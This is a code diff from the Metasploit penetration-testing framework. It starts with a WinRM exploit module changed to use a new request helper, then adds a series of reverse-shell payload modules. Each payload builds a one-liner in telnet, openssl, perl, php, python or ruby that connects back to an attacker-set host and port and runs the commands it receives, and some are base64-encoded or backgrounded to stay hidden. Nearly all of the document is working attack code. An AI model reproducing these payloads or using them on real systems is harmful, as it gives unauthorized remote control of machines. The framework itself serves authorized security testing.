print_status "Grabbing %TEMP%"
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg)
|
||||
resp = send_winrm_request(winrm_open_shell_msg)
|
||||
if resp.nil?
|
||||
print_error "Got no reply from the server"
|
||||
return nil
|
||||
|
@ -152,16 +140,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
cmd = "echo %TEMP%"
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
|
||||
resp= send_winrm_request(winrm_cmd_msg(cmd, shell_id))
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
|
||||
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id))
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
return streams['stdout'].chomp
|
||||
end
|
||||
|
||||
def check_remote_arch
|
||||
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
|
||||
resp,c = send_request_ntlm(winrm_wql_msg(wql))
|
||||
resp = send_winrm_request(winrm_wql_msg(wql))
|
||||
#Default to x86 if we can't be sure
|
||||
return "x86" if resp.nil? or resp.code != 200
|
||||
resp_tbl = parse_wql_response(resp)
|
||||
|
@ -247,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def valid_login?
|
||||
data = winrm_wql_msg("Select Name,Status from Win32_Service")
|
||||
resp,c = send_request_ntlm(data)
|
||||
resp = send_winrm_request(data)
|
||||
unless resp.code == 200
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -0,0 +1,63 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
Creates an interactive shell via mknod and telnet.
|
||||
This method works on Debian and other systems compiled
|
||||
without /dev/tcp support. This module uses the '-z'
|
||||
option included on some systems to encrypt using SSL.
|
||||
},
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd_bash',
|
||||
'RequiredCmd' => 'bash-tcp',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
|
||||
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
||||
end
|
||||
end
|
|
@ -0,0 +1,58 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_double_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)',
|
||||
'Description' => 'Creates an interactive shell through two inbound connections',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'openssl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd =
|
||||
"sh -c '(sleep #{3600+rand(1024)}|" +
|
||||
"openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" +
|
||||
"while : ; do sh && break; done 2>&1|" +
|
||||
"openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" +
|
||||
" >/dev/null 2>&1 &)'"
|
||||
return cmd
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,63 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell via perl, uses SSL',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
lhost = datastore['LHOST']
|
||||
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
|
||||
cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");"
|
||||
cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,61 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell via php, uses SSL',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'php',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
lhost = datastore['LHOST']
|
||||
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&"
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,79 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'python',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd = ''
|
||||
dead = Rex::Text.rand_text_alpha(2)
|
||||
# Set up the socket
|
||||
cmd += "import socket,subprocess,os,ssl\n"
|
||||
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
|
||||
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||
cmd += "s=ssl.wrap_socket(so)\n"
|
||||
# The actual IO
|
||||
cmd += "#{dead}=False\n"
|
||||
cmd += "while not #{dead}:\n"
|
||||
cmd += "\tdata=s.recv(1024)\n"
|
||||
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
|
||||
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
|
||||
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
|
||||
cmd += "\ts.send(stdout_value)\n"
|
||||
|
||||
# The *nix shell wrapper to keep things clean
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\""
|
||||
cmd += ' >/dev/null 2>&1 &'
|
||||
return cmd
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,49 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'ruby',
|
||||
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
||||
))
|
||||
end
|
||||
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
def command_string
|
||||
lhost = datastore['LHOST']
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
"ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
|
||||
end
|
||||
end
|
|
@ -0,0 +1,67 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_double_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option',
|
||||
'Author' => [
|
||||
'hdm', # Original module
|
||||
'RageLtMan', # SSL support
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'telnet',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd =
|
||||
"sh -c '(sleep #{3600+rand(1024)}|" +
|
||||
"telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" +
|
||||
"while : ; do sh && break; done 2>&1|" +
|
||||
"telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" +
|
||||
" >/dev/null 2>&1 &)'"
|
||||
return cmd
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,77 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'python',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd = ''
|
||||
dead = Rex::Text.rand_text_alpha(2)
|
||||
# Set up the socket
|
||||
cmd += "import socket,subprocess,os,ssl\n"
|
||||
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
|
||||
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||
cmd += "s=ssl.wrap_socket(so)\n"
|
||||
# The actual IO
|
||||
cmd += "#{dead}=False\n"
|
||||
cmd += "while not #{dead}:\n"
|
||||
cmd += "\tdata=s.recv(1024)\n"
|
||||
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
|
||||
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
|
||||
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
|
||||
cmd += "\ts.send(stdout_value)\n"
|
||||
|
||||
# The *nix shell wrapper to keep things clean
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
||||
return cmd
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,52 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/ruby'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Ruby
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Ruby Command Shell, Reverse TCP SSL',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'ruby',
|
||||
'Arch' => ARCH_RUBY,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'ruby',
|
||||
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
||||
))
|
||||
end
|
||||
|
||||
def generate
|
||||
rbs = prepends(ruby_string)
|
||||
vprint_good rbs
|
||||
return rbs
|
||||
end
|
||||
|
||||
def ruby_string
|
||||
lhost = datastore['LHOST']
|
||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||
rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
|
||||
return rbs
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue